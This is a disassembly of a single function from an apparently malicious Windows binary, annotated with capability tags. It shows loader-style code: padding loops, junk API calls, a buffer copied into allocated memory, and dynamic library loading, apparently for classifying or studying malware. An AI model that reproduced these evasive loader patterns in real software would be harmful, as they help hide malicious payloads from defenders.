Function at 0x408140
Capabilities:
Create pipe
Get common file path
Get file attributes
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x44d004]
xor eax, esp
mov dword [esp + 0x30], eax
mov edx, dword [0x44ec00]
mov ecx, dword [0x54eb44]
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
nop
cmp eax, 0x8450db
jne 0x40817d
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x408191
mov dword [0x44fd98], edi
mov dword [0x44fd9c], esi
inc eax
cmp eax, 0xb9fa618
jl 0x408170
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x54eb44], ecx
xor esi, esi
cmp esi, 0x562d05
jne 0x4081b9
mov eax, dword [0x44ebf4]
mov dword [0x54eb48], eax
cmp ecx, 0x3c
jne 0x4081c7
push ebx
call edi
mov ecx, dword [0x54eb44]
inc esi
cmp esi, 0x5f6c74
jl 0x4081a7
cmp ecx, 0x7c
jne 0x408247
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push ebx
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
cmp dword [0x54eb44], 0x2d
jne 0x408238
push ebx
push ebx
push ebx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
call fcn.004012a1
mov ecx, dword [0x54eb44]
add esp, 4
cmp ecx, 0x110a
jne 0x4082cb
push str.gucixi
mov dword [0x54e7b0], ebx
mov dword [0x54e7b4], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.xijofulefawoyetocohilumotozeli
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push ebx
call fcn.004010d3
push ebx
call fcn.004010d3
push ebx
push ebx
call fcn.00401093
push ebx
push ebx
call fcn.004012b7
push 0x44b8b0
push 0x44f898
call fcn.0040100f
push ebx
call fcn.0040128a
add esp, 0x24
push ebx
call fcn.004015e7
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x54e4e4], eax
cmp dword [0x54eb44], ebx
jbe 0x40833c
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov ebx, dword [sym.imp.ADVAPI32.dll_GetPrivateObjectSecurity]
mov edi, edi
mov eax, dword [0x54eb48]
mov dword [esp + 0xc], eax
mov eax, 0xa231
add dword [esp + 0xc], eax
cmp dword [0x54eb44], 0x5ab
mov ecx, dword [esp + 0xc]
mov dl, byte [ecx + esi]
mov eax, dword [0x54e4e4]
mov byte [eax + esi], dl
jne 0x408331
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
inc esi
cmp esi, dword [0x54eb44]
jb 0x4082f0
xor ebx, ebx
push 0x44b8b4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.00407eb0
call fcn.004080d0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetACP]
xor esi, esi
nop
cmp esi, 0xbd9cb
jne 0x40836d
call fcn.00407ea0
cmp dword [0x54eb44], 0xc
jne 0x40837f
lea ecx, [esp + 0x10]
push ecx
call edi
call ebx
inc esi
cmp esi, 0x15a63d
jl 0x408360
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea edx, [esp + 0x14]
push edx
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x4083b9
cmp dword [esp + 0x1c], 0xf5bed7
jne 0x4083c2
inc esi
cmp esi, 0x1ece7a52
jl 0x408396
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
xor esi, esi
mov edi, 0x8e46a6f0
nop
cmp dword [0x54eb44], 0xcc1
jne 0x4083de
call ebx
cmp esi, 0x12e6c3
jne 0x4083eb
call fcn.00407e90
inc esi
mov dword [0x54e7b8], edi
cmp esi, 0x1519a5
jl 0x4083d0
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret